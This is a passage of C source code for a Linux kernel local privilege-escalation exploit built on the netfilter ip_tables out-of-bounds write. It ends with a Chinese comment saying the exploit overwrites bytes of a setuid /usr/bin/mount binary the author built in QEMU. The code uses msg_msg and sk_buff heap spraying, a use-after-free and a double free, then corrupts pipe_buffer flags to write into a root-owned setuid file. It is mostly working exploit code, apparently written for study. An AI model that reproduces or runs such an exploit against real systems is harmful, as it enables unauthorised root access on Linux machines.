  if (msgsnd(msgid, &msg, FIRST_MSG_SIZE, 0)) {
    err_exit("[-] msgsnd");
  }
}

void triggerOob(int socket_fd) {
  // adapted from
  // https://github.com/google/security-research/security/advisories/GHSA-xxx5-8mvq-3528
  struct __attribute__((__packed__)) {
    struct ipt_replace replace;
    struct ipt_entry entry;
    struct xt_entry_match match;
    char pad[0xFB6 - 172 - 4];
    struct xt_entry_target target;
  } data = {0};

  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = sizeof(data.entry) + sizeof(data.match) +
                      sizeof(data.pad) + sizeof(data.target);

  data.entry.next_offset = sizeof(data.entry) + sizeof(data.match) +
                           sizeof(data.pad) + sizeof(data.target);
  data.entry.target_offset =
      sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad);

  data.match.u.user.match_size = sizeof(data.match) + sizeof(data.pad);
  strcpy(data.match.u.user.name, "icmp");
  data.match.u.user.revision = 0;

  data.target.u.user.target_size = sizeof(data.target);
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;

  // partial overwrite the next object
  if (setsockopt(socket_fd, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data))) {
    if (errno == ENOPROTOOPT) {
      err_exit("ip_tables module is not loaded!\n");
    }
    printf("error: %d\n", errno);
    perror("[-] setsockopt");
  }
}

int sk_buff_spray(int sk_socket[SOCKET_SUM][2], void *buf, size_t size) {
  for (int i = 0; i < SOCKET_SUM; i++) {
    for (int j = 0; j < SK_BUFF_IN_ONE_SOCKET; j++) {
      if (write(sk_socket[i][0], buf, size) != size) {
        perror("[-] write sk_buff");
        return -1;
      }
    }
  }
  return 0;
}

int sk_buff_free(int sk_socket[SOCKET_SUM][2], void *buf, size_t size) {
  for (int i = 0; i < SOCKET_SUM; i++) {
    for (int j = 0; j < SK_BUFF_IN_ONE_SOCKET; j++) {
      if (read(sk_socket[i][1], buf, size) != size) {
        perror("[-] read sk_buff");
        return -1;
      }
    }
  }
  return 0;
}

int main() {
  if (unshare(CLONE_NEWUSER)) {
    err_exit("[-] unshare(CLONE_NEWUSER)");
  }
  if (unshare(CLONE_NEWNET)) {
    err_exit("[-] unshare(CLONE_NEWNET)");
  }

  int socket_fd;
  int sk_sockets[SOCKET_SUM][2];
  int pipe_fds[PIPE_SUM][2];
  if ((socket_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    err_exit("[-] socket");
  }
  for (int i = 0; i < SOCKET_SUM; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0) {
      err_exit("[-] socketpair");
    }
  }

  // https://stackoverflow.com/questions/280909/how-to-set-cpu-affinity-for-a-process-from-c-or-c-in-linux
  cpu_set_t cpu_mask;
  CPU_ZERO(&cpu_mask);
  CPU_SET(0, &cpu_mask);
  if (sched_setaffinity((__pid_t)0, 1, (const cpu_set_t *)&cpu_mask)) {
    err_exit("[-] sched_setaffinity");
  }

  memset(buf, 0x00, sizeof(buf));
  // spray heap with msg_msg
  printf("[!] start msg_msg spraying..\n");
  for (int i = 0; i < N_SPRAY_MSGMSG; i++) {
    msgids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (msgids[i] < 0) {
      err_exit("[-] msgget");
    }
  }
  for (int i = 0; i < N_SPRAY_MSGMSG; i++) {
    firstMsgSend(
        msgids[i], buf,
        N_SPRAY_MSGMSG * 2 + i);  // this id is for the sake of debugging
  }

  for (int i = 0; i < N_SPRAY_MSGMSG; i++) {
    ((int *)buf)[0] = i;
    secondMsgSend(msgids[i], buf, 1);
  }
  printf("[+] msg_msg spraying done!\n");

#define HOLE_STEP 0x200
  for (int i = N_SPRAY_MSGMSG / 2 + HOLE_STEP; i < N_SPRAY_MSGMSG;
       i += HOLE_STEP) {
    msgrcv(msgids[i], buf, FIRST_MSG_SIZE, 0, 0);
  }

  // oob
  printf("[!] triggering oob\n");
  triggerOob(socket_fd);

  // find the msg that can be uaf
  int first_id = -1, second_id = -1;
  for (int i = 0; i < N_SPRAY_MSGMSG; i++) {
    if (i % HOLE_STEP == 0) {
      continue;
    }
    if (msgrcv(msgids[i], buf, SECOND_MSG_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) {
      err_exit("[-] msgrcv");
    }
    if (((int *)buf)[1] != i) {
      first_id = i;
      second_id = ((int *)buf)[1];
      printf("[+] found UAF target: first id 0x%x, second id 0x%x\n", first_id,
             second_id);
    }
  }

  if (first_id == -1) {
    err_exit("[-] failed to oob msg_msg");
  }

  // create a UAF, start sk_buff spray
  if (msgrcv(msgids[second_id], &buf, SECOND_MSG_SIZE, 1, 0) < 0) {
    err_exit("[-] msgrcv");
  }

  char fake_msg_buf[0x400 - 320];
  struct msg_msg *fake_msg = (struct msg_msg *)fake_msg_buf;
  fake_msg->m_list.next = 0xAAAAAAAAAAAAAAAA;
  fake_msg->m_list.prev = 0xBBBBBBBBBBBBBBBB;
  fake_msg->next = 0;
  fake_msg->m_ts = FIRST_MSG_SIZE;
  fake_msg->m_type = 2;
  fake_msg->security = 0;
  if (sk_buff_spray(sk_sockets, fake_msg_buf, sizeof(fake_msg_buf)) < 0) {
    err_exit("[-] failed to spray sk_buff");
  }
  printf("[+] spray sk_buff done!\n");

  // oob read second msg
  if (msgrcv(msgids[first_id], &buf, FIRST_MSG_SIZE, 1, MSG_COPY | IPC_NOWAIT) <
      0) {
    err_exit("[-] msgrcv");
  }
  printf("[+] successfully oob read\n");

  struct msg_msg *next_msg_ptr = (struct msg_msg *)&buf[SECOND_MSG_SIZE + 4];
  printf("[+] heap leaked prev_ptr 0x%llx next_ptr 0x%llx\n",
         next_msg_ptr->m_list.prev, next_msg_ptr->m_list.next);

  // start leaking UAFed object address
  assert(sizeof(buf) > sizeof(fake_msg_buf));
  if (sk_buff_free(sk_sockets, buf, sizeof(fake_msg_buf)) < 0) {
    err_exit("[-] freeing sk_buff");
  }

  u_int64_t some_heap_address = next_msg_ptr->m_list.prev;

  // !!! you don't need to leak the UAFed object's address at all!
  //  fake_msg->next = next_msg_ptr->m_list.prev - 8;
  //  fake_msg->m_ts = FIRST_MSG_SIZE + 0x1000 - sizeof(struct msg_msgseg);
  //  // spray again..
  //  if (sk_buff_spray(sk_sockets, fake_msg_buf, sizeof(fake_msg_buf)) < 0) {
  //    err_exit("[-] failed to spray sk_buff");
  //  }
  //
  //  if (msgrcv(msgids[first_id], &buf, fake_msg->m_ts, 1, MSG_COPY |
  //  IPC_NOWAIT) <
  //      0) {
  //    err_exit("[-] msgrcv");
  //  }
  //  u_int64_t uaf_object_addr =
  //      ((u_int64_t *)((char *)buf + FIRST_MSG_SIZE + 4))[0] - 0x400;
  //  printf("[+] UAF object address: 0x%llx\n", uaf_object_addr);

  // fix UAFed object to double free it
  fake_msg->m_list.next = some_heap_address + 0x800;
  fake_msg->m_list.prev = some_heap_address + 0x800;
  fake_msg->next = 0;
  fake_msg->m_ts = SECOND_MSG_SIZE;
  fake_msg->security = 0;
  fake_msg->m_type = 1;
  // if (sk_buff_free(sk_sockets, buf, sizeof(fake_msg_buf)) < 0) {
  //    err_exit("[-] freeing sk_buff");
  // }
  if (sk_buff_spray(sk_sockets, fake_msg_buf, sizeof(fake_msg_buf)) < 0) {
    err_exit("[-] failed to spray sk_buff");
  }
  if (msgrcv(msgids[first_id], &buf, SECOND_MSG_SIZE, 1, 0) < 0) {
    err_exit("[-] msgrcv");
  }
  printf("[+] double free done!\n");

  // spray pipe_buffer
  for (int i = 0; i < PIPE_SUM; i++) {
    if (pipe(pipe_fds[i]) < 0) {
      err_exit("[-] pipe");
    }
    if (write(pipe_fds[i][1], "AAAAAAAA", 8) != 8) {
      err_exit("[-] write pipe");
    }

    // pipe primitve
    int suid_fd = open("/usr/bin/mount", O_RDONLY);
    if (suid_fd < 0) {
      err_exit("[-] open suid");
    }

    // mount.main@0x1775
    off64_t offset = 0x1775 - 1;  // we will read one byte
    if (splice(suid_fd, &offset, pipe_fds[i][1], NULL, 1, 0) < 0) {
      err_exit("[-] splice");
    }
  }

  printf("[+] pipe spray done!\n");

  int found = -1;
  char pipe_buf[0x400 - 320];
  for (int i = 0; i < SOCKET_SUM; i++) {
    for (int j = 0; j < SK_BUFF_IN_ONE_SOCKET; j++) {
      if (read(sk_sockets[i][1], fake_msg_buf, sizeof(fake_msg_buf)) !=
          sizeof(fake_msg_buf)) {
        perror("[-] write sk_buff");
        return -1;
      }
      struct pipe_buffer *pipe_buffer_ptr = (void *)fake_msg_buf;
      if (pipe_buffer_ptr->ops > 0xffffffff81000000) {
        memcpy(pipe_buf, fake_msg_buf, sizeof(pipe_buf));
        printf("[+] found pipe_buffer, ops: 0x%llx\n", pipe_buffer_ptr->ops);
        found = 1;
      }
    }
  }
  if (found != 1) {
    err_exit("[-] failed to find pipe_buffer");
  }

  struct pipe_buffer *pipe_buf_ptr = (void *)pipe_buf;
  for (int i = 0; i < 16; i++) {
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
    pipe_buf_ptr[i].flags |= PIPE_BUF_FLAG_CAN_MERGE;
  }
  if (sk_buff_spray(sk_sockets, pipe_buf_ptr, sizeof(fake_msg_buf)) < 0) {
    err_exit("[+] sk_buff_spray");
  }
  printf("[!] changed pipe_buffer flag\n");

  printf("[!] writing to pipe\n");
  for (int i = 0; i < PIPE_SUM; i++) {
    if (write(pipe_fds[i][1], "\xCC\xCC\xCC", 3) < 0) {
      perror("write pipe");
    }
  }

  return 0;
}

这个 exp 可以修改 /usr/bin/mount 的 0x1775 开始的 3 个字节为 0xCC(写这个地址是因为我在 qemu 中自己编译了一个 fake root owned suid mount ,这个程序的 main 函数在 0x1775 处)。